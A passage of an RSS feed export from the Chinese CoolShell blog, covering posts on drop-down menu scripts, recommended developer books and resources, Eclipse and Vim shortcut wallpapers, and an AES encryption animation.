title=\"Drop-Down-Menu-Scripts-10\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-10.jpg\" alt=\"Drop Down Menu Scripts 10 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></h2>\n<h4><strong>CSS and Java Scripts<br />\n</strong></h4>\n<h3><strong><a rel=\"nofollow\" href=\"http://lwis.net/free-css-drop-down-menu/\">Lwis Dropdown Menu Framework</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/lwis_menu.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4187\" title=\"lwis_menu\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/lwis_menu.png\" alt=\"lwis menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://greengeckodesign.com/projects/menumatic.aspx\">MenuMatic </a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/menumatic.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4188\" title=\"menumatic\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/menumatic.jpg\" alt=\"menumatic 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong><strong><a rel=\"nofollow\" href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\"></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\">Sexy Sliding Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/sliding_menu.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4189\" title=\"sliding_menu\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/sliding_menu.jpg\" alt=\"sliding menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://www.cssplay.co.uk/menus/circular-sub.html\">Circular Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/circular_menu.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4190\" title=\"circular_menu\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/circular_menu.jpg\" alt=\"circular menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong><strong><a rel=\"nofollow\" href=\"http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx\"></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx\">Vimeo-like Top Navigation</a></strong></h3>\n<p><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/vimeo_menu.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4191\" title=\"vimeo_menu\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/vimeo_menu.jpg\" alt=\"vimeo menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a><strong><a rel=\"nofollow\" href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\"></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\">FG jQuery Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/fg_menu.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4192\" title=\"fg_menu\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/fg_menu.png\" alt=\"fg menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://extjs.com/\">Ext JS Tree Panel</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/dragdrop.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4193\" title=\"dragdrop\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/dragdrop.jpg\" alt=\"dragdrop 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://www.kriesi.at/archives/apple-menu-improved-with-jquery\">Apple Style Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/appele1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4194\" title=\"appele1\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/appele1.jpg\" alt=\"appele1 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong></p>\n<h3><strong><a rel=\"nofollow\" href=\"http://www.designmeme.com/articles/hoverboxmenu/\">Hover Box</a></strong></h3>\n<h3><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/hoverbox.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4195\" title=\"hoverbox\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/hoverbox.jpg\" alt=\"hoverbox 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong><strong><a rel=\"nofollow\" href=\"http://www.styledmenus.com/\">Styled Menus</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/style.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4196\" title=\"style\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/style.png\" alt=\"style 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"236\" /></a></strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/1660.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"13个不错的Javascript和CSS的菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1660.html\" class=\"wp_rp_title\">13个不错的Javascript和CSS的菜单</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3207.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些非常不错的资料</title>\n\t\t<link>https://coolshell.cn/articles/3192.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3192.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 18 Oct 2010 01:38:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[All-In-One Framework]]></category>\n\t\t<category><![CDATA[book]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Intel]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[Microsoft]]></category>\n\t\t<category><![CDATA[VB.NET]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3192</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一、Intel 给开发人员推荐的资料列表（2010年下半年） 其中包含了 硬件：硬件，电源，存储，无线 软件：多线程和多核技术，高性能计算，图形游戏，用户关注 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3192.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4>一、<a href=\"http://www.intel.com/technology/rr/RRlist.pdf\" target=\"_blank\">Intel 给开发人员推荐的资料列表（2010年下半年）</a></h4>\n<figure id=\"attachment_3197\" aria-describedby=\"caption-attachment-3197\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><a href=\"http://www.intel.com/technology/rr/RRlist.pdf\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3197 \" title=\"Intel Recommended Books for Developers\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers.jpg\" alt=\"\" width=\"500\" height=\"317\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-300x190.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-426x270.jpg 426w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a><figcaption id=\"caption-attachment-3197\" class=\"wp-caption-text\">Intel Recommended Books for Developers</figcaption></figure>\n<p>其中包含了</p>\n<ul>\n<li>硬件：硬件，电源，存储，无线</li>\n<li>软件：多线程和多核技术，高性能计算，图形游戏，用户关注</li>\n<li>嵌入式：设计，软件，操作系统，安全，优化。</li>\n<li>IT部门：策略和决策，服务器和数据中心，客户端</li>\n</ul>\n<p><span id=\"more-3192\"></span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #ffffff;\">－－</span></p>\n<h4>二、<a href=\"http://jqfundamentals.com/book/\" target=\"_blank\">jQuery Fundamentals</a></h4>\n<figure id=\"attachment_3196\" aria-describedby=\"caption-attachment-3196\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><a href=\"http://jqfundamentals.com/book/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3196 \" title=\"jQuery Fundamentals\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/jQuery-Fundamentals.jpg\" alt=\"\" width=\"500\" height=\"314\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/jQuery-Fundamentals.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/10/jQuery-Fundamentals-300x188.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a><figcaption id=\"caption-attachment-3196\" class=\"wp-caption-text\">jQuery Fundamentals</figcaption></figure>\n<p>这可能是我见过写得最好的jQuery教程了，大量的示例，只是没有时间和精力，不然一定全部翻译过来。</p>\n<figure id=\"attachment_3195\" aria-describedby=\"caption-attachment-3195\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3195 \" title=\"jQuery Fundamentals - Code Example\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/jQuery-Fundamentals-Code-Example.jpg\" alt=\"\" width=\"500\" height=\"263\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/jQuery-Fundamentals-Code-Example.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/10/jQuery-Fundamentals-Code-Example-300x157.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /><figcaption id=\"caption-attachment-3195\" class=\"wp-caption-text\">jQuery Fundamentals - Code Example</figcaption></figure>\n<p>还有其它关于jQuery的文章，你还可以查看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2964.html\" target=\"_blank\">25个jQuery的编程小抄</a>》</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #ffffff;\">－－</span></p>\n<h4>三、<a href=\"http://www.htdp.org/2003-09-26/Book/\" target=\"_blank\">How to Design Programs</a></h4>\n<figure id=\"attachment_3194\" aria-describedby=\"caption-attachment-3194\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><a href=\"http://www.htdp.org/2003-09-26/Book/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3194 \" title=\"How to Design Programs\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/How-to-Design-Programs.jpg\" alt=\"\" width=\"500\" height=\"344\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/How-to-Design-Programs.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/10/How-to-Design-Programs-300x206.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a><figcaption id=\"caption-attachment-3194\" class=\"wp-caption-text\">How to Design Programs</figcaption></figure>\n<p>想学学如何设计程序吗？英国剑桥大学写的，MIT出版的，希望你能看看，非常不错。</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #ffffff;\">－－</span></p>\n<h4>四、<a href=\"http://1code.codeplex.com/\" target=\"_blank\">Microsoft All-In-One Code Framework</a></h4>\n<figure id=\"attachment_3193\" aria-describedby=\"caption-attachment-3193\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><a href=\"http://1code.codeplex.com/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3193\" title=\"Microsoft All-In-One Code Framework\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/Microsoft-All-In-One-Code-Framework.jpg\" alt=\"\" width=\"500\" height=\"388\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/Microsoft-All-In-One-Code-Framework.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/10/Microsoft-All-In-One-Code-Framework-300x232.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a><figcaption id=\"caption-attachment-3193\" class=\"wp-caption-text\">Microsoft All-In-One Code Framework</figcaption></figure>\n<p>C++/C#/VB.NET的一站式代码和资料，还有coding standard，也是很不错的。</p>\n<p>——————————————————————</p>\n<p>查看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a>》查看更多的电子书。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/2775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"免费电子书列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2775.html\" class=\"wp_rp_title\">免费电子书列表</a></li><li ><a href=\"https://coolshell.cn/articles/2672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\".NET代码转换器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2672.html\" class=\"wp_rp_title\">.NET代码转换器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3192.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Eclipse和Vim快捷键桌面</title>\n\t\t<link>https://coolshell.cn/articles/3181.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3181.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 18 Oct 2010 00:23:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Eclipse]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3181</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>点击图片看大图 （转载本站文章请注明作者和出处 酷 壳 &#8211; CoolShell ，请勿用于任何商业用途） 相关文章Eclipse 和 Vim无插件V...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3181.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3181.html\">Eclipse和Vim快捷键桌面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>点击图片看大图</p>\n<p><figure id=\"attachment_3185\" aria-describedby=\"caption-attachment-3185\" style=\"width: 581px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-3185     \" title=\"Eclipse 快捷键桌面\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-1024x640.png\" alt=\"\" width=\"581\" height=\"363\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-1024x640.png 1024w, https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-300x188.png 300w, https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-768x480.png 768w, https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-432x270.png 432w, https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-1200x750.png 1200w, https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900.png 1843w\" sizes=\"(max-width: 581px) 100vw, 581px\" /></a><figcaption id=\"caption-attachment-3185\" class=\"wp-caption-text\">Eclipse 快捷键桌面</figcaption></figure><br />\n<span id=\"more-3181\"></span><br />\n<figure id=\"attachment_3184\" aria-describedby=\"caption-attachment-3184\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-3184      \" title=\"vim 移动快捷键桌面\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts-1024x640.png\" alt=\"\" width=\"590\" height=\"370\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts-1024x640.png 1024w, https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts-300x187.png 300w, https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts.png 1920w\" sizes=\"(max-width: 590px) 100vw, 590px\" /></a><figcaption id=\"caption-attachment-3184\" class=\"wp-caption-text\">vim 移动快捷键桌面</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1837.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/eclim-150x150.png\" alt=\"Eclipse 和 Vim\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1837.html\" class=\"wp_rp_title\">Eclipse 和 Vim</a></li><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3181.html\">Eclipse和Vim快捷键桌面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3181.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>AES加密算法动画演示</title>\n\t\t<link>https://coolshell.cn/articles/3161.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3161.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 15 Oct 2010 02:13:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[AES]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3161</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>波士顿大学的Howard Straubing做了这么一个动画来展示AES加密算法的演示，挺不错的。 点击这里看全屏 （转载本站文章请注明作者和出处 酷 壳 &#...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3161.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3161.html\">AES加密算法动画演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>波士顿大学的<a href=\"http://www.cs.bc.edu/~straubin/\" target=_blank>Howard Straubing</a>做了这么一个动画来展示AES加密算法的演示，挺不错的。</p>\n<p><embed type=\"application/x-shockwave-flash\" width=\"680\" height=\"400\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/rijndael_ingles2004.swf\" quality=\"high\" align=\"middle\"></embed></p>\n<p><center><br />\n<a href=\"https://coolshell.cn/wp-content/uploads/2010/10/rijndael_ingles2004.swf\" 